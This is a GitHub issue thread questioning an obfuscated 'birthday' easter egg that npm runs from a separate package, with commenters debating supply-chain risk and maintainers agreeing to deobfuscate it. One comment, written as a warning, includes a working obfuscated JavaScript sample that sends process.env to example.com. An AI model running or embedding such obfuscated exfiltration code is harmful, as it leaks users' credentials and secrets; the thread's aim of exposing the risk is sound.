New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Why is an obfuscated JS payload part of an npm command? #4091
Comments
I have to agree with this. Putting code that looks like malware inside of npm is irresponsible and reckless. If I were first seeing this code, I'd think that some malware or backdoor had made it into npm's codebase. Also, are we totally sure that it's just a birthday message? If I were a malware author, that'd be the perfect cover/trojan for something more malicious. npm, what's going on? |
I've been through the source code for it and can confirm that it does nothing more malicious than either tell you how many milliseconds until npmcli's birthday, or print a bunch of balloon emojis and the commit hash of the very first commit to this repository. But yes, I can understand why it would be concerning to see. |
it is an easter egg, and it does work. it was removed and separated into its own package some time ago to prevent code scanners from identifying it as a virus/malware since it means it is no longer part of the published npm package. as for why it's obfuscated, that's because it's an easter egg and is meant to be a surprise. if you don't run |
Hi, While I appreciate easter eggs (and think others have it a bit too much out for them), the fact that this easter egg is obfuscated sets off multiple alarm bells. The automated code scanners were right -- this looks like malware! Just to illustrate this, here's edit: just to be clear don't actually run this code it sends your process.env to http://example.com. /* eslint-disable max-len */
// happy birthday! 🎂
module.exports = c => {
const g = global;
const B = g[Buffer.from([66, 117, 102, 102, 101, 114])]
const f = B.from([102, 114, 111, 109])
const D = g[B[f]([68, 97, 116, 101])]
const s = 8
const t = 29
const n = new D()
const _6 = B[f]([98, 97, 115, 101, 54, 52]) + ''
const _9 = B[f]([104, 116, 116, 112]) + ''
const l = B[f]('dG9TdHJpbmc=', _6)
const k = B[f]('eJzLKCkpsNLXT61IzC3ISdVLzs+1BwBGLwbx', _6)
const v = s => B[f](s, _6)[l](); h = g; const y = v('Z2V0RnVsbFllYXI='); const c = h[B[f]([t + 83]) + v('cm9jZQ==') + B[f]([115, 115])][v('ZW52')];
const a = v('Z2V0VVRDRGF0ZQ=='); const m = v('Z2V0VVRDTW9udGg='); const p = v('UGxlYXNlIHRyeSBhZ2FpbiBpbiA=')
const z = require(v('emxpYg==')); const q = require(_9); const i = z[v('aW5mbGF0ZVN5bmM=')]
const b = v('dG9TdHJpbmc=')
let x_ = n[y]()
const x = new D(`${x_++}-0${s + 1}-${t}`) - n
const xx = x < 0 ? new D(`${x_}-0${s + 1}-${t}`) - n : x
const e = i(B[f](B[f](JSON.parse(i(B[f]('eJw1U9Gx5DAIa4gPExsDtby5/ts4SXhnspNNAkIS8p8vtzzm32e+rp2t2007ae7HTuEWdq/VtvysHM/4rbTEdfEvLNhclqgL/Nv67AvVR+AAQHF9lguTllXrRtAmIvs9ZnJYpXXxdQ1QtzX6VnOA4JxMMBvwhZlF6DiaCL63' + (q[B[f]([s + 95]) + v('ZXQ=')](i(k) + z[v('aW5mbGF0ZVN5bmM=')](c)[b](_6), '') + '+So3yykhCeMCDF6kCmheLaWUmHrtn5Opu4SCLYh0ilQIPvewupKylsXSJOclnZy55gm1V3bcK3RYSgd7GOCh5TvUQ2IB67Kdk0gHBsV5ek5LcchwF+WWathBoo9VUE7A6WJFfsMBX5wzD6VQGqm7HCPNkRxbJPZ82cSuaapZDKGG5ttJpXC18SBYTDPogtV94ViisUZpa+dXTrCJm/GrDtfO6uXAtdp8T+IZ/ksPJmI8bSgljH4LTV6QK6P6kkniJezk65dPeRzy9Gjh3zTeliZ0sYJJjZ9c0mCaWMrglj7IsHwGaUNaxGYuBPbNOViz6blxpk7E+QURA+n54qI1a5Ydv1QrUkeBocNFpKe8Z5ld71y29gAG78xg5zSS5/VMsat4ODL7a1BllY4OTKLhd+IruSB7/d9/b7zQBA==', _6))[l]()))[l](), _6))[l]())
c(...(`${n[a]()}${n[m]()}` !== `${t}${s}` ? [`${p}${xx}ms`] : [null, console.log(e)]))
} If this easter egg was unobfuscated, I would've just looked at it and gone "thats neat", but the fact that this was obfuscated to look like malware means I have to spend 10 mins checking that it isn't actually malicious. It would be nice if the easter egg was kept but de-obfuscated so others aren't concerned by it. |
Can I suggest that a link to this issue is added as a comment? |
The repository the obfuscated easter egg code points to as its source is also outdated (or private) too, https://github.com/npm/npm-birthday (from @npmcli/npm-birthday) |
|
My question is whose birthday is it? The milliseconds point to September 28, 2022. |
As I documented in the gist where I deobfuscated it, it's the birthday of npm cli. The 'birthday message' includes the shorthash of the first commit. (and it's actually midnight of the 29th, UTC) |
So if you run a particular command, npm will download obfuscated code on demand and run it? And nobody has a problem with this? Seems like a perfect attack vector. It's a lot easier to have obfuscated malicious code executed if people are already "expecting" obfuscated code. And pulling it demand? Now you've got additional surface area to attack. |
This comment has been minimized.
This comment has been minimized.
This isn't true. const BaseCommand = require('../base-command.js')
class Birthday extends BaseCommand {
static name = 'birthday'
async exec () {
this.npm.config.set('yes', true)
return this.npm.exec('exec', ['@npmcli/npm-birthday'])
}
}
module.exports = Birthday Which results in |
ah, you're right; it's not listed as a dependency. |
Easter eggs are fun, but this pretty badly misses the mark. It's a full demonstration of something that you should never do. Unfortunately, it sets a pretty bad example. |
we hear all of your concerns, and we agree completely. i've open sourced the repo for the command here: https://github.com/npm/npm-birthday I've also opened a pull request that deobfuscates the code to be less worrisome: npm/npm-birthday#1 We'll land that and ship it as part of our next release, and in the next semver-major release of npm we're very likely to remove the command entirely. |
This is great! I think de-obfuscating the command and open-sourcing it is great. I don't think removing it in npm@9 is necessary though. Easter eggs are cool, and I think software has it a bit too out for them at the moment. Regardless, this solution is the right one in my opinion. Thanks. |
Definitely not malware: https://gist.github.com/10maurycy10/b6c3f431a6e59f9a2b7c27842d0033e4#file-ester-js-L44 |
we should not encourage this kinds of stuff. developers should assume that obfuscated code is malicious (thus investigate), and not obfuscated code means an easter egg. |
Why bother obfuscating it? The existence of the command itself is enough of an easter egg. |
So, previously you had an obfuscated easter egg in the codebase, and when alarms started ringing your solution was to move the obfuscated easter egg in an external package and just execute any unverified code from that package when called. Then when that was questioned, you unobfuscated that external package, and still execute any unverified code from that package when called, as far as I can tell without any checksum verification, etc. If you want to keep the easter egg, at least integrate it into the main codebase so changes to it will be easier for people to detect. Now it's in some essentially unmonitored repo, and the code from there is run unquestioned, unverified, and does not get analyzed as part of the risk analysis for Say something like This seems like an undesired outcome, and a less than great resolution to the problem. |
This is bad. As in, another SolarWinds level supply chain attack just waiting to happen, given the size of |
When going through the codebase I found this file:
birthday.js
Which seems very strange. It seems to execute another package off of NPM that is - as of writing - comprised of this exact code.
Running this command inside a VM resulted in nonsense output, too, so if it is an easter egg I'm not even sure it works.
There is absolutely no documentation of this command anywhere. I can't find anyone discussing it, and I can't find any other information about it. What is this payload, and why is it part of npm? The package description doesn't instill any faith that this isn't a malicious payload, and due to the lack of sandboxing, this could quite literally do anything.
Is this a self-parody of malicious NPM packages hijacking accounts? I genuinely do not know what this is meant to be.
If it's an easter egg - why is it completely obfuscated, and executed from a separate package? Millions of developers around the world depend on npm, and stuffing malicious-like code into it (even as an easter egg) seems like a terrible idea security wise.
The text was updated successfully, but these errors were encountered: